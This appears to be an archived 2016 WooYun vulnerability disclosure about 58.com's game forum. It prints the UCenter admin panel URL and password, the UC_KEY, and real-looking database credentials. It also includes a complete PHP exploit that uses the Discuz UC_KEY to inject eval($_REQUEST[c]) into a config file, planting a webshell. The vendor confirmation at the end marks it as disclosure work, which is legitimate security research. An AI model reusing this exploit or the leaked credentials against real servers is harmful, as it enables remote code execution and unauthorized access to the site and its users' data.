乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-03-11: 细节已通知厂商并且等待厂商处理中 2016-03-11: 厂商已经确认,细节仅向厂商公开 2016-03-21: 细节向核心白帽子及相关领域专家公开 2016-03-31: 细节向普通白帽子公开 2016-04-10: 细节向实习白帽子公开 2016-04-25: 细节向公众公开
http://bbs.wan.58.com/uc_server/admin.php?sid=279dCl4qLSDlnm5ZAMOUv%2BnSGzYhbr8qMKvYDm1Jnmd32OfGlQRFcKs4gBM7doceOVP6edWh7iunAw 密码 admin
ucenter:keyUet5r701maVbU04eIb49t2f2y021T2c2K3q9Tdi5Q16f35M3w1XeC7Z9n6X353A8
配置信息define('UC_CONNECT', 'mysql');define('UC_DBHOST', '192.168.17.101');define('UC_DBUSER', '58_bbs');define('UC_DBPW', 'youxi$217*ceshi&');define('UC_DBNAME', 'bbs');define('UC_DBCHARSET', 'utf8');define('UC_DBTABLEPRE', '`bbs`.prh_ucenter_');define('UC_DBCONNECT', '0');define('UC_KEY', 'Uet5r701maVbU04eIb49t2f2y021T2c2K3q9Tdi5Q16f35M3w1XeC7Z9n6X353A8');define('UC_API', 'http://bbs.wan.58.com/uc_server');define('UC_CHARSET', 'utf-8');define('UC_IP', '');define('UC_APPID', '1');define('UC_PPP', '20');
Discuz的利用UC_KEY进行getshell<?php$key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#少年 uc_key 写在这里$url = 'http://localhost/api/uc.php';$arg = 'action=updateapps&time='.time();#拿webshell:http://localhost/config/config_ucenter.php 密码:cecho 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"';#curl或者用其他工具post提交function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); }}?>
危害等级:高
漏洞Rank:10
确认时间:2016-03-11 15:10
已确认,感谢对58安全的关注。
暂无